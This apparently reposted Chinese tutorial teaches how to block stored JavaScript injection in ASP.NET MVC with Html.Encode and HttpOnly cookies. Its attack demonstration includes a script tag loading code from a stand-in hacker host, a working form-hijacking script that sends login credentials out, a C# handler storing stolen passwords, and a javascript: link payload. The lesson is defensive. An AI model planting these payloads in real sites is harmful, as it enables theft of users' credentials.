在ASP.NET MVC应用程序中防止JavaScript注入式攻击

推荐阅读:

https://www.cnblogs.com/zxktxj/archive/2012/04/21/2461518.html


在本文中,我们将探讨如何在ASP.NET MVC应用程序中有效地防范JavaScript注入式攻击的问题。


  1、简介

  在本文中,你将了解到JavaScript注入式攻击远比你可能想象的那样严重。首先,我会向你展示如何使用一个JavaScript注入攻击对一个ASP.NET MVC网站进行恶意操作,然后,我会向你解释如何使用一种很容易的方式来阻止这一类型的攻击。

  当你从一个你的网站的访问者那里收集表单数据并且你想把此表单数据再次展现给其他的访问者时,你应该对这些表单数据进行必要的编码。否则,你正在把你的网站的大门向JavaScript注入式攻击者敞开。
 
  例如,如果假定你正在创建一个讨论性质的论坛网站,那么请确保当你把消息显示于一个web页面之前已经对此论坛消息进行了必要的编码。如果你没有对该消息进行编码,那么,有人就有可能向服务器端寄送一条包含JavaScript脚本的消息,而此脚本有可能对网站进行恶意的破坏。

  在本文中,我想特别强调的是一个怀有恶意的黑客完全有可能使用一个JavaScript注入攻击进行十分恶毒的网站破坏。然而,有许多web开发者对如何有效地阻止JavaScript注入式攻击不太关心。其实,主要的问题还在于大多数开发者并没有完全意识到危险性的存在。他们认为你通过一个JavaScript注入式攻击可能做出的最坏的事情也不过是破坏一个网站的外观显示。在本篇中,我要向你展示一个怀有恶意的黑客可以凭借一个JavaScript注入式攻击窃取一个网站所有的用户名称和口令资料。这种情况下,你必须采取必要的防范措施  

  根据Wikipedia提供的资料,JavaScript注入式攻击已经远远超过缓冲区溢出而成为大多数场合下公认的安全脆弱性。更有甚者,根据Wikipedia提供的数据,目前大约有70%的网站并没有施加对于JavaScript注入式攻击的防范措施。这真是太令人吃惊了 

 2、如何使用JavaScript偷窃另一个人的口令

  下面我将向你说明一个恶意的黑客如何使用一个JavaScript注入式攻击来实现恶意的破坏。设想你基于ASP.NET MVC创建了一个顾客调查应用程序

  该顾客调查应用程序是一个十分简单的应用程序。用户可以通过把关于一个产品的回馈信息输入到一张表单而提交回馈信息。顾客还可以观看前面所有其他顾客留下的所有产品回馈信息。注意,该回馈表单在页面顶部包括一个登录表单。该顾客调查应用程序在它的母版页面中包含了一个登录表单因为该回馈表单页面会将当前顾客输入的信息再次显示给其他顾客;所以,该页面也就对JavaScript式注入攻击者敞开了大门。一个恶意的黑客仅需要把下列文本输入到回馈表单域中:

<script src=http://HackerSite.com/EvilScript.js></ script >


当这段文本再次显示到回馈表单页面时,该<script>标签即会调用一个位于黑客指定的网站中的一段JavaScript脚本程序。列表1提供了这段JavaScript脚本程序。

 列表1–EvilScript.js

if (window.attachEvent)
    document.forms[0].attachEvent('onsubmit', fn);

function fn(e)
{
    var userName = document.getElementById("userName").value;
    var password = document.getElementById("password").value;
    var d = new Date();
    var url = "HackerSite/EvilHandler.ashx?userName=" + userName 
       + "&password=" + password + "&d=" + d.valueOf();

    var script = document.createElement("script");
    script.type = 'text/javascript';
    script.src = url;
    document.body.appendChild( script ); 
}


列表1中的脚本把一个事件处理器绑定到与登录表单的submit事件上。当提交该登录表单时,即执行该fn()JavaScript函数。这个函数首先会取得用户名和口令表单域相应的值。接下来,该脚本动态地把一个<script>标签注入到该页面中并且把此用户名和口令传递给一个名字为EvilHandler.ashx的(可能是远程的)网站上的一个处理程序中。

 列表2给出了可能的EvilHandler中的代码。该EvilHandler简单地通过查询字符串取得用户名和口令,然后把该用户名和口令存储到数据库中。

 列表2–EvilHandler.ashx

using System;
using System.Collections;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Xml.Linq;

namespace CustomerSurvey.HackerSite
{
    [WebService(Namespace = "http://tempuri.org/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
     public class EvilHandler : IHttpHandler
     {
         public void ProcessRequest(HttpContext context)
         {
             //从URL中取得用户名和口令
             string userName = context.Request.QueryString["userName"];
             string password = context.Request.QueryString["password"];
            
            //存储到数据库中
            HackerDataContext db = new HackerDataContext();
            StolenPassword pwd = new StolenPassword();
            pwd.userName = userName;
            pwd.password = password;
            db.StolenPasswords.InsertOnSubmit(pwd);
            db.SubmitChanges();
        }

        public bool IsReusable
        {
            get
            {
                return false;
            }
        }
    }
}


想象一下,该顾客回馈表单出现在一个银行网站上。这种情况下,黑客现在就能够访问每个人的帐户信息,然后把每个人金钱转移到位于Cayman Islands上的一个银行帐户中……但是,如果我们对此作好了必要的准备则通过简单的努力就可以防止这种潜在的危险。

 3、 ASP.NET MVC并不支持请求校验

  对于一个ASP.NET MVC应用程序来说,上述情况显得更为类锐。因为在一个传统型ASP.NET Web表单应用程序中(不像一个ASP.NET MVC应用程序),你可以依赖于一种称为请求校验的系统特征。请求校验会自动检测是否表单数据来自于一个包含危险的搜索文本的页面。如果你提交了这种包含危险数据的表单数据(例如包括了类括号<或>等字符),那么系统会自动抛出一个异常。

  但是,请注意ASP.NET MVC框架目前还没有提供这种请求校验技术。所以,需要由你自己来完全承担这一责任来阻止对一个ASP.NET MVC应用程序的JavaScript注入式攻击。

  4、 阻止JavaScript注入式攻击

  阻止JavaScript注入攻击其实是很简单的。为此,无论你何时通过一个视图显示检索自某一个用户的文本,请确保一定调用了Html.Encode()。

  例如,下面是Index视图的一部分,用于显示顾客的回馈信息:

<h1>顾客回馈信息</h1>
<ul>
<% foreach (Survey survey in ViewData.Model)
   { %>
   <li>
    <%= survey.EntryDate.ToShortDateString() %>
    —
    <%= survey.Feedback %>
   </li>
<% } %>
</ul>


这段代码包含了一个foreach循环,它循环搜索Survey实体。每一个Survey实体的Feedback和EntryDate属性的值都会被显示出来。

  为了阻止JavaScript注入式攻击,你需要使用Html.Encode() 转换成Html编码字符串辅助方法。下面展示了编写这种循环的正确方法:

<h1>Customer Feedback</h1>
<ul>
<% foreach (Survey survey in ViewData.Model)
   { %>
   <li>
    <%= survey.EntryDate.ToShortDateString() %>
    —
    <%= Html.Encode(survey.Feedback) %>
   </li>
<% } %>
</ul>


5、 应该对什么内容进行编码

  注意,我并没有对前一节中的EntryDate属性进行编码。这里存在两个原因说明当在一个页面中显示这个EntryDate属性时我们不需要对这个属性进行编码。

  首先,一个网站访问者没有输入这个EntryDate属性的值。该EntryDate属性的值是通过你的代码创建的。在这种情况下,一个黑客是不能输入恶意的代码。

  假定一个网站访问者的确输入了该EntryDate属性的值。因为该EntryDate是作为一个DateTime类型存储于SQL Server数据库中的,所以,一个黑客也不能把恶意的代码加入到此EntryDate属性中。因此,当你显示它时你不需要担心对这个属性进行编码的问题。

  一般来说,当一个用户通过表单上的文本框输入待提交的内容时才是你应该真正担心JavaScript注入式攻击的时候。例如,这样情况下你应该担心用户名称的显示问题。如果你允许一个用户创建他们自己的用户名,那么,一个用户有可能会潜在地把一个恶意的JavaScript字符串加入到他们的用户名(或添加一个指向一个色情图像的图像标签)。

  此外,你还应该担心超级链接的问题。因为大多数博客应用程序都支持匿名用户把一个超级链接提交到他们的网站—当他们对一个博客提交相应的注释信息时。这种情况下,一个黑客就有可能把恶意的JavaScript加入到该链接中。下面是一个简单的示例:

<a href="javascript:alert('Something Evil!')">Mr. Hacker</a>


当你点击这个链接时,即执行JavaScript代码。当然,在本文示例中不会发生任何恶意的事情。然而,你能够从页面上执行的确可以窃取表单数据或cookies的代码。

  6、 认证、会话状态与HttpOnly Cookies

  你可以使用JavaScript注入式攻击来窃取cookies数据。例如,如果你把某一个用户的信用卡号存储在一个浏览器端的cookie中,那么,你可以把JavaScript注入到该页面,然后通过使用document.cookie DOM属性获取信用卡号。

  请注意,ASP.NET表单认证和ASP.NET会话状态技术都使用了浏览器端的cookies数据。其中,表单认证依赖于一个存储在一个名字为.ASPXAUTH的cookie中的认证标识,而会话状态则使用了一个名字为ASP.NET_SessionId的cookie。如果你能够窃取这些cookies数据,那么你就有能够模仿合法的网站用户而窃取用户会话状态信息.

  幸好,微软已经预先采取了必要的预防措施使得很难窃取此表单认证和会话状态cookies数据。这两种cookie都是属于HttpOnly类型的cookie。一个HttpOnly cookie是指一个特殊类型的cookie,你通过客户端代码是不能访问这样的数据的,而仅可以从web服务器端读取此HttpOnly cookies数据。

  微软Internet Explorer、Firefox和Opera这样浏览器都提供了对于HttpOnly类型cookie的支持。遗憾的是,Safari和一些老式的浏览器还没有提供这种支持。因此,你仍然必须十分仔细地对所有的用户输入的数据进行HTML编码;否则,一个恶意黑客便有可能窃取表单认证和会话状态cookie数据。

  7、 总结

本文的目的是在于强调在进行基于ASP.NET MVC框架开发时必须重视安全问题。正如在本文中所介绍的,JavaScript注入式攻击是使用最为频繁的安全攻击类型。大多数web开发者都不曾花上足够的时间来考虑这个问题。因此,我希望本文能够提醒您,当把数据显示在一个MVC视图时应该总是对你的用户收集数据进行必要的编码。

展开阅读全文

没有更多推荐了,返回首页